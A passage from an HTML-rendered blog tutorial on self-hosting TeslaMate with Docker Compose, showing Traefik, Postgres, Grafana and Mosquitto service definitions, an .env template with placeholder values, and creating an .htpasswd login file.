&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate-ws.rule=Host(`${FQDN_TM}`) &amp;amp;&amp;amp; Path(`/live/websocket`)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate-ws.entrypoints=websecure&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate-ws.tls&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate.rule=Host(`${FQDN_TM}`)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate.middlewares=teslamate-auth&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate.entrypoints=websecure&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate.tls.certresolver=tmhttpchallenge&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;cap_drop&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - all
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;database&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;image&lt;/span&gt;: postgres:13
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;restart&lt;/span&gt;: always
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - POSTGRES_USER=${TM_DB_USER}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - POSTGRES_PASSWORD=${TM_DB_PASS}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - POSTGRES_DB=${TM_DB_NAME}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - teslamate-db:/var/lib/postgresql/data
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;grafana&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;image&lt;/span&gt;: teslamate/grafana:latest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;restart&lt;/span&gt;: always
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_USER=${TM_DB_USER}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_PASS=${TM_DB_PASS}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_NAME=${TM_DB_NAME}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_HOST=database
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - GRAFANA_PASSWD=${GRAFANA_PW}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - GF_SECURITY_ADMIN_USER=${GRAFANA_USER}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - GF_SECURITY_ADMIN_PASSWORD=${GRAFANA_PW}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - GF_AUTH_ANONYMOUS_ENABLED=false
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - GF_SERVER_DOMAIN=${FQDN_TM}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - GF_SERVER_ROOT_URL=%(protocol)s://%(domain)s/grafana
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - GF_SERVER_SERVE_FROM_SUB_PATH=true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - teslamate-grafana-data:/var/lib/grafana
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;labels&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.enable=true&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.port=3000&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.middlewares.redirect.redirectscheme.scheme=https&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.grafana-insecure.rule=Host(`${FQDN_TM}`)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.grafana-insecure.middlewares=redirect&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.grafana.rule=Path(`/grafana`) || PathPrefix(`/grafana/`)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.grafana.entrypoints=websecure&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.grafana.tls.certresolver=tmhttpchallenge&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;mosquitto&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;image&lt;/span&gt;: eclipse-mosquitto:2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;restart&lt;/span&gt;: always
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;command&lt;/span&gt;: mosquitto -c /mosquitto-no-auth.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f5a97f&#34;&gt;127.0.0.1&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;1883&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;1883&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - mosquitto-conf:/mosquitto/config
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - mosquitto-data:/mosquitto/data
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;proxy&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;image&lt;/span&gt;: traefik:v2.4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;restart&lt;/span&gt;: always
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;command&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--global.sendAnonymousUsage=false&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--providers.docker&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--providers.docker.exposedByDefault=false&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--entrypoints.web.address=:80&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--entrypoints.websecure.address=:443&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--certificatesresolvers.tmhttpchallenge.acme.httpchallenge=true&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--certificatesresolvers.tmhttpchallenge.acme.httpchallenge.entrypoint=web&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--certificatesresolvers.tmhttpchallenge.acme.email=${LETSENCRYPT_EMAIL}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;--certificatesresolvers.tmhttpchallenge.acme.storage=/etc/acme/acme.json&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f5a97f&#34;&gt;80&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f5a97f&#34;&gt;443&lt;/span&gt;:&lt;span style=&#34;color:#f5a97f&#34;&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - ./.htpasswd:/auth/.htpasswd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - ./acme/:/etc/acme/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - /var/run/docker.sock:/var/run/docker.sock:ro
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;teslamate-db&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;teslamate-grafana-data&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;mosquitto-conf&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  mosquitto-data:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-12-1024x867.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Screenshot showing the docker-compose.yml file&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Next we need to create a &lt;strong&gt;&lt;code&gt;.env&lt;/code&gt; file&lt;/strong&gt;. The environmental secrets (i.e. passwords) are not saved in the yaml file but are stored are stored in this &lt;code&gt;.env&lt;/code&gt; file which we will create next.&lt;/p&gt;
&lt;p&gt;We will enter the DNS name as the FQDN that you setup earlier for the VM; update the TM_TZ for the time-zone you are based out of. This is the TZ database name, and if you aren&amp;rsquo;t sure what it should be for your time-zone, check out the &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/List_of_tz_database_time_zones&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		details here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Like the yaml file, you should get the &lt;a
	
		href = &#34;https://docs.teslamate.org/docs/guides/traefik#env&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		latest .env file template from TeslaMate
	&lt;/span&gt;
&lt;/a&gt;, as the one shown below might change over time.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TM_DB_USER=teslamate
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TM_DB_PASS=secret
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TM_DB_NAME=teslamate
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRAFANA_USER=admin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRAFANA_PW=admin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FQDN_TM=teslamate.example.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TM_TZ=Europe/Berlin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LETSENCRYPT_EMAIL=yourperson@example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you are not sure on how to create a new file in Ubuntu (or any other Linux distro for that matter) - you can use &lt;code&gt;nano&lt;/code&gt; editor as shown below. You need to make sure this is in the same folder as where the &lt;code&gt;docker-compose.yml&lt;/code&gt; file is (which is ~/docker/teslamate in our example).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-13.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Console screenshot showing how to create .env file&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And finally, we need to create a &lt;strong&gt;&lt;code&gt;.htpasswd&lt;/code&gt;&lt;/strong&gt; file which is used to authenticate the website (see TeslaMate&amp;rsquo;s &lt;a
	
		href = &#34;https://docs.teslamate.org/docs/guides/traefik#htpasswd&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		documentation
	&lt;/span&gt;
&lt;/a&gt; for more details). I chose to create this locally after installing Apache tools, but you can also do it online.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; this is *not* your Tesla login credentials but are the credentials you will use to access the site we are setting up now.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-14.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Console screenshot showing installation of Apache Utils&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;We can create a new file password as shown below. Given we are in the TeslaMate folder, we don&amp;rsquo;t have to provide a full path for the file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;htpasswd -c .htpasswd amit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-15.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Screenshot showing htpasswd usage&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;So, in the end we should have the following three files in the same folder:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-16.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Screenshot showing directory listing&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-6---starting-teslamate&#34;&gt;Step 6 - Starting TeslaMate&lt;/h3&gt;
&lt;p&gt;Now we are finally ready to start the docker container for TeslaMate. When this launches, go to the URL for the DNS name you setup, and login using your Tesla credentials. For the first time, I would recommend running the container attached to the console, so if there are any errors or issues you can see them. Normally you would want to run this detached (which is using the &amp;ldquo;&lt;code&gt;-d&lt;/code&gt;&amp;rdquo;) option.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
